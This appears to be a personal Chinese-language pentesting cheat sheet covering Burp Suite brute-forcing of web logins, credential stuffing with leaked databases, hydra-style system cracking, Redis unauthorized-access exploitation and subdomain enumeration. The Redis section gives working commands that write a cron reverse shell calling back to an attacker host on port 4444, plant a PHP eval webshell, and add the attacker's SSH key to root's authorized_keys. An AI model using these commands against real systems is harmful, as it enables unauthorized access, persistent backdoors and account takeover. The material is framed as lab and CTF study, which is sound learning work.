web认证爆破
简单弱口令爆破
在burp里抓包单点爆破用户名和密码
带验证码的爆破
重点:抓包不放(验证码不变即绕过)
绕不过可以用 pkav http fuzzer
Basic 认证爆破(base64 用bp中的迭代器)
打开发现是一个类似 basic 认证的框,输入数据抓包
发现是 base64 加密 basic 字段,解密后内容是 admin:8888
能推断 basic 字段是 用户名:密码 这种格式的 base64 加密形式。在 intruder 中添加 basic 的加密字段,payload1 选择自定义迭代器(Custom itermtor)
然后设置定位分隔符和用户名,在位置2添加密码即可
然后在有效载荷里面添加 base64 编码模块
因为 base64 会编码特殊字符,需要取消最后面的 payload url 自动编码
前端加密爆破
即对密码进行了md5加密
泄密数据撞库
字典撞库爆破,先把 db 的 user 和 pass 分别提取出来,手动或者脚本都行
f = open('/Users/zhangmianqiao/code/Python学习/python多线程/pants.txt').read()
res = f.split("\n")
with open('user.txt','w') as user:for i in res:user.write(i.split(" ")[0]+"\n")
with open('pass.txt','w') as password:for i in res:password.write(i.split(" ")[1]+"\n")
然后选择 pichfork(音叉)模式方便一一对应,通过返回包长度判断正确的包
返回包特征提取爆破
密码同样为 md5 加密,选择有效载荷为 Hash md5 即可
从返回包长度无法判断 flag 正确的
观察返回包显示
尝试匹配错误的返回包,就能找出正确的响应包。在 burp 的options 里面 Grep-Extra (返回包提取)设置 flag 错误的正则表达式
在正则不匹配的返回结果中找到 flag
简单的token 认证
抓包发现有 token,解密发现为时间戳
由于 Burp 不能对时间戳进行设置,得手动写脚本进行爆破
系统认证爆破
工具:
1.hydra(九头蛇)
2.SNETCracker
3.gorailgun
爆破SMP优先级高于RDP
Redis未授权访问
![[Pasted image 20250909133339.png]]
![[Pasted image 20250909133552.png]]
写计划任务反弹shell
在权限足够的情况下,利用redis写入文件到计划任务目录下执行。
端口监听:
在攻击者服务器上监听一个端口(未被占用的任意端口):
nc -lvnp 4444
攻击详情:
连接redis,写入反弹shell
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
过一分钟左右就可以收到shell
写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
攻击机上分别使用以下命令:
config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save
这时返回靶机,发现文件写入成功。
写入一句话
依次执行一下命令:
config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['x']); ?>\n\n\n"
config set dbfilename webshell.php
save
这时靶机会创建一个webshell的一句话php文件
利用写入公钥登录ssh
原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。
- 首先在攻击机kali上生成公钥。
ssh-keygen -t rsa
选项默认回车就可以。
- 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
- 再把key.txt文件内容写入redis缓冲
…进入到redis-4.0.10/src目录下
cat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub - 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
分别输入一下命令:
./redis-cli -h 192.168.224.130 config set dir /root/.sshconfig set dbfilename authorized_keyssave
注意:
redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
- 然后进行连接
ssh 192.168.224.130
子域名爆破
GitHub - knownsec/ksubdomain: 无状态子域名爆破工具
用Amass(已安装在kali-root)
amass enum -d 域名